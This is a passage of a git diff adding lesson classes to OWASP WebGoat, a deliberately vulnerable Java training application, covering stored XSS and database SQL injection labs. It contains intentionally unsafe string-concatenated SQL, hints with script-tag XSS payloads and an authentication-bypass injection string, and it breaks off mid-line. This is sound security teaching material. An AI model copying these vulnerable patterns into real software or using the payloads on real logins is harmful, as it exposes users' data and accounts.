answer_statement.executeQuery(query); + if (answer_results.next()) + { + // Note: Do NOT get the password field. + profile = new Employee(answer_results.getInt("userid"), + answer_results.getString("first_name"), + answer_results.getString("last_name"), + answer_results.getString("ssn"), answer_results + .getString("title"), answer_results + .getString("phone"), answer_results + .getString("address1"), answer_results + .getString("address2"), answer_results + .getInt("manager"), answer_results + .getString("start_date"), answer_results + .getInt("salary"), answer_results + .getString("ccn"), answer_results + .getInt("ccn_limit"), answer_results + .getString("disciplined_date"), + answer_results.getString("disciplined_notes"), + answer_results.getString("personal_description")); + /* System.out.println("Retrieved employee from db: " + + profile.getFirstName() + " " + profile.getLastName() + + " (" + profile.getId() + ")"); + */} + } + catch (SQLException sqle) + { + s.setMessage("Error getting employee profile"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error getting employee profile"); + e.printStackTrace(); + } + + return profile; + } + + + public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, + int subjectUserId) throws UnauthorizedException + { + // Query the database to determine if this employee has access to this function + // Query the database for the profile data of the given employee if "owned" by the given user + + Employee profile = null; + + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE userid = " + + subjectUserId; + + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + if (answer_results.next()) + { + // Note: Do NOT get the password field. + profile = new Employee(answer_results.getInt("userid"), + answer_results.getString("first_name"), + answer_results.getString("last_name"), + answer_results.getString("ssn"), answer_results + .getString("title"), answer_results + .getString("phone"), answer_results + .getString("address1"), answer_results + .getString("address2"), answer_results + .getInt("manager"), answer_results + .getString("start_date"), answer_results + .getInt("salary"), answer_results + .getString("ccn"), answer_results + .getInt("ccn_limit"), answer_results + .getString("disciplined_date"), + answer_results.getString("disciplined_notes"), + answer_results.getString("personal_description")); + /* System.out.println("Retrieved employee from db: " + + profile.getFirstName() + " " + profile.getLastName() + + " (" + profile.getId() + ")"); + */} + } + catch (SQLException sqle) + { + s.setMessage("Error getting employee profile"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error getting employee profile"); + e.printStackTrace(); + } + + return profile; + } + + + private void updateLessonStatus(WebSession s, Employee employee) + { + String stage = getStage(s); + int userId = -1; + try { + userId = getIntSessionAttribute(s, getLessonName() + "." + + CrossSiteScripting.USER_ID); + } catch (ParameterNotFoundException pnfe) { + } + if (CrossSiteScripting.STAGE1.equals(stage)) + { + String address1 = employee.getAddress1().toLowerCase(); + if (userId != employee.getId() + && address1.indexOf("") > -1) + { + setStageComplete(s, CrossSiteScripting.STAGE1); + } + } + else if (CrossSiteScripting.STAGE3.equals(stage)) + { + String address2 = employee.getAddress1().toLowerCase(); + if (address2.indexOf("") > -1) + { + setStageComplete(s, CrossSiteScripting.STAGE3); + } + } + else if (CrossSiteScripting.STAGE4.equals(stage)) + { + if (employee.getAddress1().toLowerCase().indexOf("<") > -1) + { + setStageComplete(s, CrossSiteScripting.STAGE4); + } + } + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java new file mode 100755 index 000000000..5832ccc29 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java @@ -0,0 +1,261 @@ +package org.owasp.webgoat.lessons.DBCrossSiteScripting; + +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.ElementContainer; +import org.owasp.webgoat.lessons.Category; +import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile; +import org.owasp.webgoat.lessons.GoatHillsFinancial.EditProfile; +import org.owasp.webgoat.lessons.GoatHillsFinancial.FindProfile; +import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; +import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; +import org.owasp.webgoat.lessons.GoatHillsFinancial.ListStaff; +import org.owasp.webgoat.lessons.GoatHillsFinancial.Login; +import org.owasp.webgoat.lessons.GoatHillsFinancial.Logout; +import org.owasp.webgoat.lessons.GoatHillsFinancial.SearchStaff; +import org.owasp.webgoat.lessons.GoatHillsFinancial.ViewProfile; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + +/** + /******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + */ +public class DBCrossSiteScripting extends GoatHillsFinancial +{ + private final static Integer DEFAULT_RANKING = new Integer(100); + + public final static String STAGE1 = "Stored XSS"; + + public final static String STAGE2 = "Block Stored XSS using DB Input Validation"; + + protected void registerActions(String className) + { + registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); + registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); + registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); + registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); + registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); + + // These actions are special in that they chain to other actions. + registerAction(new Login(this, className, LOGIN_ACTION, + getAction(LISTSTAFF_ACTION))); + registerAction(new Logout(this, className, LOGOUT_ACTION, + getAction(LOGIN_ACTION))); + registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, + getAction(VIEWPROFILE_ACTION))); + registerAction(new UpdateProfile(this, className, + UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); + registerAction(new DeleteProfile(this, className, + DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); + } + + /** + * Gets the category attribute of the CrossSiteScripting object + * + * @return The category value + */ + public Category getDefaultCategory() + { + return Category.XSS; + } + + /** + * Gets the hints attribute of the DirectoryScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + + // Stage 1 + hints.add("You can put HTML tags in form input fields."); + hints + .add("Bury a SCRIPT tag in the field to attack anyone who reads it."); + hints + .add("Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in message fields."); + hints + .add("Enter this: <script>alert(\"document.cookie\");</script> in message fields."); + + // Stage 2 + hints + .add("Many scripts rely on the use of special characters such as: <"); + hints + .add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering)."); + hints + .add("Oracle 10 supports a regular expression matching function : REGEXP_LIKE(text, pattern)."); + + return hints; + } + + + /** + * Gets the instructions attribute of the ParameterInjection object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = ""; + + if (!getLessonTracker(s).getCompleted()) + { + String stage = getStage(s); + if (STAGE1.equals(stage)) + { + instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.
" + + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. " + + "Verify that 'Jerry' is affected by the attack. " + + "A sample JavaScript snippet you can use is: <SCRIPT>alert('bang!');</SCRIPT>."; + } + else if (STAGE2.equals(stage)) + { + instructions = "Stage 2: Block Stored XSS using Input Validation.
" + + "Implement a fix in the stored procedure to prevent the stored XSS from being written to the database. "; + if (getWebgoatContext().getDatabaseDriver().contains("jtds")) + instructions += "Use the provided user-defined function RegexMatch to test the data against a pattern. "; + instructions += "A sample regular expression pattern: ^[a-zA-Z0-9,\\. ]{0,80}$ " + + "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack."; + } + } + + return instructions; + + } + + @Override + public String[] getStages() { + if (getWebgoatContext().isCodingExercises()) + return new String[] {STAGE1, STAGE2}; + return new String[] {STAGE1}; + } + + public void handleRequest(WebSession s) + { + if (s.getLessonSession(this) == null) + s.openLessonSession(this); + + String requestedActionName = null; + try + { + requestedActionName = s.getParser().getStringParameter("action"); + } + catch (ParameterNotFoundException pnfe) + { + // Let them eat login page. + requestedActionName = LOGIN_ACTION; + } + + if (requestedActionName != null) + { + try + { + LessonAction action = getAction(requestedActionName); + + if (action != null) + { + if (!action.requiresAuthentication() + || action.isAuthenticated(s)) + { + action.handleRequest(s); + //setCurrentAction(s, action.getNextPage(s)); + } + } + else + { + setCurrentAction(s, ERROR_ACTION); + } + } + catch (ParameterNotFoundException pnfe) + { + System.out.println("Missing parameter"); + pnfe.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + catch (ValidationException ve) + { + System.out.println("Validation failed"); + ve.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + catch (UnauthenticatedException ue) + { + s.setMessage("Login failed"); + System.out.println("Authentication failure"); + ue.printStackTrace(); + } + catch (UnauthorizedException ue2) + { + s.setMessage("You are not authorized to perform this function"); + System.out.println("Authorization failure"); + ue2.printStackTrace(); + } + catch (Exception e) + { + // All other errors send the user to the generic error page + System.out.println("handleRequest() error"); + e.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + } + + // All this does for this lesson is ensure that a non-null content exists. + setContent(new ElementContainer()); + } + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the CrossSiteScripting object + * + * @return The title value + */ + public String getTitle() + { + return "LAB: DB Cross Site Scripting (XSS)"; + } + + @Override + protected boolean getDefaultHidden() { + String driver = getWebgoatContext().getDatabaseDriver(); + boolean hidden = ! (driver.contains("oracle") || driver.contains("jtds")); + return hidden; + } + +} \ No newline at end of file diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java new file mode 100755 index 000000000..a09008621 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java @@ -0,0 +1,268 @@ +package org.owasp.webgoat.lessons.DBCrossSiteScripting; + +import java.sql.CallableStatement; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; + +import javax.servlet.http.HttpServletRequest; + +import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; +import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; +import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; +import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl; +import org.owasp.webgoat.session.Employee; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class UpdateProfile extends DefaultLessonAction +{ + + private LessonAction chainedAction; + + + public UpdateProfile(GoatHillsFinancial lesson, String lessonName, + String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } + + + public void handleRequest(WebSession s) throws ParameterNotFoundException, + UnauthenticatedException, UnauthorizedException, + ValidationException + { + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + + RoleBasedAccessControl.USER_ID); + + HttpServletRequest request = s.getRequest(); + int subjectId = Integer.parseInt(request.getParameter(DBCrossSiteScripting.EMPLOYEE_ID)); + String firstName = request.getParameter(DBCrossSiteScripting.FIRST_NAME); + String lastName = request.getParameter(DBCrossSiteScripting.LAST_NAME); + String ssn = request.getParameter(DBCrossSiteScripting.SSN); + String title = request.getParameter(DBCrossSiteScripting.TITLE); + String phone = request.getParameter(DBCrossSiteScripting.PHONE_NUMBER); + String address1 = request.getParameter(DBCrossSiteScripting.ADDRESS1); + String address2 = request.getParameter(DBCrossSiteScripting.ADDRESS2); + int manager = Integer.parseInt(request + .getParameter(DBCrossSiteScripting.MANAGER)); + String startDate = request.getParameter(DBCrossSiteScripting.START_DATE); + int salary = Integer.parseInt(request + .getParameter(DBCrossSiteScripting.SALARY)); + String ccn = request.getParameter(DBCrossSiteScripting.CCN); + int ccnLimit = Integer.parseInt(request + .getParameter(DBCrossSiteScripting.CCN_LIMIT)); + String disciplinaryActionDate = request + .getParameter(DBCrossSiteScripting.DISCIPLINARY_DATE); + String disciplinaryActionNotes = request + .getParameter(DBCrossSiteScripting.DISCIPLINARY_NOTES); + String personalDescription = request + .getParameter(DBCrossSiteScripting.DESCRIPTION); + + Employee employee = new Employee(subjectId, firstName, lastName, ssn, + title, phone, address1, address2, manager, startDate, salary, + ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, + personalDescription); + + try + { + if (subjectId > 0) + { + this.changeEmployeeProfile(s, userId, subjectId, employee); + setRequestAttribute(s, getLessonName() + "." + + DBCrossSiteScripting.EMPLOYEE_ID, Integer + .toString(subjectId)); + if (DBCrossSiteScripting.STAGE1.equals(getStage(s))) + { + address1 = address1.toLowerCase(); + boolean pass = address1.contains(""); + if (pass) + { + setStageComplete(s, DBCrossSiteScripting.STAGE1); + } + } + } + else + this.createEmployeeProfile(s, userId, employee); + } + catch (SQLException e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + if (DBCrossSiteScripting.STAGE2.equals(getStage(s)) && + (e.getMessage().contains("ORA-06512") || e.getMessage().contains("Illegal characters")) && + !employee.getAddress1().matches("^[a-zA-Z0-9,\\. ]{0,80}$")) + { + setStageComplete(s, DBCrossSiteScripting.STAGE2); + } + + } + catch (ClassNotFoundException e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + + try + { + chainedAction.handleRequest(s); + } + catch (UnauthenticatedException ue1) + { + System.out.println("Internal server error"); + ue1.printStackTrace(); + } + catch (UnauthorizedException ue2) + { + System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + else + throw new UnauthenticatedException(); + } + + public String getNextPage(WebSession s) + { + return DBCrossSiteScripting.VIEWPROFILE_ACTION; + } + + + public void changeEmployeeProfile(WebSession s, int userId, int subjectId, + Employee employee) throws SQLException, ClassNotFoundException + { + try + { + String update = " { CALL UPDATE_EMPLOYEE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) }"; + CallableStatement call = WebSession.getConnection(s).prepareCall(update); + // Note: The password field is ONLY set by ChangePassword + call.setInt(1, userId); + call.setString(2, employee.getFirstName()); + call.setString(3, employee.getLastName()); + call.setString(4, employee.getSsn()); + call.setString(5, employee.getTitle()); + call.setString(6, employee.getPhoneNumber()); + call.setString(7, employee.getAddress1()); + call.setString(8, employee.getAddress2()); + call.setInt(9, employee.getManager()); + call.setString(10, employee.getStartDate()); + call.setInt(11, employee.getSalary()); + call.setString(12, employee.getCcn()); + call.setInt(13, employee.getCcnLimit()); + call.setString(14, employee.getDisciplinaryActionDate()); + call.setString(15, employee.getDisciplinaryActionNotes()); + call.setString(16, employee.getPersonalDescription()); + call.executeUpdate(); + } + catch (ClassNotFoundException e) + { + e.printStackTrace(); + } + } + + public void createEmployeeProfile(WebSession s, int userId, + Employee employee) throws UnauthorizedException + { + try + { + int nextId = getNextUID(s); + String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; + + try + { + PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); + + ps.setString(1, employee.getFirstName().toLowerCase()); + ps.setString(2, employee.getLastName()); + ps.setString(3, employee.getSsn()); + ps.setString(4, employee.getTitle()); + ps.setString(5, employee.getPhoneNumber()); + ps.setString(6, employee.getAddress1()); + ps.setString(7, employee.getAddress2()); + ps.setInt(8, employee.getManager()); + ps.setString(9, employee.getStartDate()); + ps.setString(10, employee.getCcn()); + ps.setInt(11, employee.getCcnLimit()); + ps.setString(12, employee.getDisciplinaryActionDate()); + ps.setString(13, employee.getDisciplinaryActionNotes()); + ps.setString(14, employee.getPersonalDescription()); + + ps.execute(); + } + catch (SQLException sqle) + { + s.setMessage("Error updating employee profile"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + } + + private int getNextUID(WebSession s) + { + int uid = -1; + try + { + Statement statement = WebSession.getConnection(s).createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement + .executeQuery("select max(userid) as uid from employee"); + results.first(); + uid = results.getInt("uid"); + } + catch (SQLException sqle) + { + sqle.printStackTrace(); + s.setMessage("Error updating employee profile"); + } + catch (ClassNotFoundException e) + { + // TODO Auto-generated catch block + e.printStackTrace(); + } + return uid + 1; + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java new file mode 100755 index 000000000..5d86f373d --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java @@ -0,0 +1,260 @@ +package org.owasp.webgoat.lessons.DBSQLInjection; + +import java.util.ArrayList; +import java.util.List; +import org.apache.ecs.ElementContainer; +import org.owasp.webgoat.lessons.Category; +import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile; +import org.owasp.webgoat.lessons.GoatHillsFinancial.EditProfile; +import org.owasp.webgoat.lessons.GoatHillsFinancial.FindProfile; +import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; +import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; +import org.owasp.webgoat.lessons.GoatHillsFinancial.ListStaff; +import org.owasp.webgoat.lessons.GoatHillsFinancial.Logout; +import org.owasp.webgoat.lessons.GoatHillsFinancial.SearchStaff; +import org.owasp.webgoat.lessons.GoatHillsFinancial.UpdateProfile; +import org.owasp.webgoat.lessons.GoatHillsFinancial.ViewProfile; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class DBSQLInjection extends GoatHillsFinancial +{ + private final static Integer DEFAULT_RANKING = new Integer(75); + + public final static int PRIZE_EMPLOYEE_ID = 112; + + public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew"; + + public final static String STAGE1 = "String SQL Injection"; + + public final static String STAGE2 = "Block SQL Injection using Bind Variables"; + + public void registerActions(String className) + { + registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); + registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); + registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); + registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); + registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); + + // These actions are special in that they chain to other actions. + registerAction(new Login(this, className, LOGIN_ACTION, + getAction(LISTSTAFF_ACTION))); + registerAction(new Logout(this, className, LOGOUT_ACTION, + getAction(LOGIN_ACTION))); + registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, + getAction(VIEWPROFILE_ACTION))); + registerAction(new UpdateProfile(this, className, + UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); + registerAction(new DeleteProfile(this, className, + DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); + } + + /** + * Gets the category attribute of the CrossSiteScripting object + * + * @return The category value + */ + public Category getDefaultCategory() + { + return Category.INJECTION; + } + + /** + * Gets the hints attribute of the DirectoryScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints + .add("The application is taking your input and inserting it at the end of a pre-formed SQL command."); + hints + .add("This is the code for the query being built and issued by WebGoat:

" + + "stmt := 'SELECT USERID FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || '''';
" + + "EXECUTE IMMEDIATE stmt INTO v_userid;"); + hints + .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " + + "Remember: You need to end up with a SQL statement that only returns one row, since we are using an INTO clause"); + + // Stage 1 + hints + .add("You may need to use WebScarab to remove a field length limit to fit your attack."); + hints.add("Try entering a password of [ ' OR userid=112 OR password=' ]."); + + // Stage 2 + hints + .add("Change the Stored procedure to use bind variables."); + + return hints; + } + + @Override + public String[] getStages() { + if (getWebgoatContext().isCodingExercises()) + return new String[] {STAGE1, STAGE2}; + return new String[] {STAGE1}; + } + + /** + * Gets the instructions attribute of the ParameterInjection object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = ""; + + if (!getLessonTracker(s).getCompleted()) + { + String stage = getStage(s); + if (STAGE1.equals(stage)) + { + instructions = "Stage 1: Use String SQL Injection to bypass authentication. " + + "The goal here is to login as the user " + + PRIZE_EMPLOYEE_NAME + + ", who is in the Admin group. " + + "You do not have the password, but the form is SQL injectable. " + + "View the EMPLOYEE_LOGIN stored procedure and see if you can " + + "determine why the exploit exists."; + } + else if (STAGE2.equals(stage)) + { + instructions = "Stage 2: Use bind variables.
" + + "Using the Squirrel SQL Client, update the EMPLOYEE_LOGIN stored procedure in the database " + + "to use bind variables, rather than string concatenation. " + + "Repeat the SQL Injection attack. Verify that the attack is no longer effective."; + } + } + + return instructions; + } + + public void handleRequest(WebSession s) + { + if (s.getLessonSession(this) == null) + s.openLessonSession(this); + + String requestedActionName = null; + try + { + requestedActionName = s.getParser().getStringParameter("action"); + } + catch (ParameterNotFoundException pnfe) + { + // Let them eat login page. + requestedActionName = LOGIN_ACTION; + } + + if (requestedActionName != null) + { + try + { + LessonAction action = getAction(requestedActionName); + if (action != null) + { + //System.out.println("CrossSiteScripting.handleRequest() dispatching to: " + action.getActionName()); + if (!action.requiresAuthentication() + || action.isAuthenticated(s)) + { + action.handleRequest(s); + //setCurrentAction(s, action.getNextPage(s)); + } + } + else + setCurrentAction(s, ERROR_ACTION); + } + catch (ParameterNotFoundException pnfe) + { + System.out.println("Missing parameter"); + pnfe.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + catch (ValidationException ve) + { + System.out.println("Validation failed"); + ve.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + catch (UnauthenticatedException ue) + { + s.setMessage("Login failed"); + System.out.println("Authentication failure"); + ue.printStackTrace(); + } + catch (UnauthorizedException ue2) + { + s.setMessage("You are not authorized to perform this function"); + System.out.println("Authorization failure"); + ue2.printStackTrace(); + } + catch (Exception e) + { + // All other errors send the user to the generic error page + System.out.println("handleRequest() error"); + e.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + } + + // All this does for this lesson is ensure that a non-null content exists. + setContent(new ElementContainer()); + } + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the CrossSiteScripting object + * + * @return The title value + */ + public String getTitle() + { + return "LAB: DB SQL Injection"; + } + + @Override + protected boolean getDefaultHidden() { + String driver = getWebgoatContext().getDatabaseDriver(); + boolean hidden = ! (driver.contains("oracle") || driver.contains("jtds")); + return hidden; + } + +} \ No newline at end of file diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/Login.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/Login.java new file mode 100755 index 000000000..d94953ce9 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/Login.java @@ -0,0 +1,248 @@ +package org.owasp.webgoat.lessons.DBSQLInjection; + +import java.sql.CallableStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.sql.Types; +import java.util.List; +import java.util.Vector; + +import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; +import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; +import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; +import org.owasp.webgoat.session.EmployeeStub; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class Login extends DefaultLessonAction +{ + + private LessonAction chainedAction; + + + public Login(GoatHillsFinancial lesson, String lessonName, String actionName, + LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } + + + public void handleRequest(WebSession s) throws ParameterNotFoundException, + ValidationException + { + //System.out.println("Login.handleRequest()"); + getLesson().setCurrentAction(s, getActionName()); + + List employees = getAllEmployees(s); + setSessionAttribute(s, getLessonName() + "." + + DBSQLInjection.STAFF_ATTRIBUTE_KEY, employees); + + String employeeId = null; + try + { + employeeId = s.getParser().getStringParameter( + DBSQLInjection.EMPLOYEE_ID); + String password = s.getParser().getRawParameter( + DBSQLInjection.PASSWORD); + + // Attempt authentication + boolean authenticated = login(s, employeeId, password); + + if (authenticated) + { + // Execute the chained Action if authentication succeeded. + try + { + chainedAction.handleRequest(s); + } + catch (UnauthenticatedException ue1) + { + System.out.println("Internal server error"); + ue1.printStackTrace(); + } + catch (UnauthorizedException ue2) + { + System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + else + s.setMessage("Login failed"); + + } + catch (ParameterNotFoundException pnfe) + { + // No credentials offered, so we log them out + setSessionAttribute(s, getLessonName() + ".isAuthenticated", + Boolean.FALSE); + } + } + + + public String getNextPage(WebSession s) + { + String nextPage = DBSQLInjection.LOGIN_ACTION; + + if (isAuthenticated(s)) + nextPage = chainedAction.getNextPage(s); + + return nextPage; + + } + + + public boolean requiresAuthentication() + { + return false; + } + + + public boolean login(WebSession s, String userId, String password) + { + boolean authenticated = false; + + try + { + String call = "{ ? = call EMPLOYEE_LOGIN(?,?) }"; // NB: "call", not "CALL"! Doh! + + try + { + CallableStatement statement = WebSession.getConnection(s) + .prepareCall(call, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + statement.registerOutParameter(1, Types.INTEGER); + statement.setInt(2, Integer.parseInt(userId)); + statement.setString(3, password); + statement.execute(); + + int rows = statement.getInt(1); + if (rows > 0) { + setSessionAttribute(s, + getLessonName() + ".isAuthenticated", Boolean.TRUE); + setSessionAttribute(s, getLessonName() + "." + + DBSQLInjection.USER_ID, userId); + authenticated = true; + if (DBSQLInjection.STAGE1.equals(getStage(s)) && + DBSQLInjection.PRIZE_EMPLOYEE_ID == Integer.parseInt(userId)) + { + setStageComplete(s, DBSQLInjection.STAGE1); + } + } else { + + if (DBSQLInjection.STAGE2.equals(getStage(s))) + { + try + { + String call2 = "{ ? = call 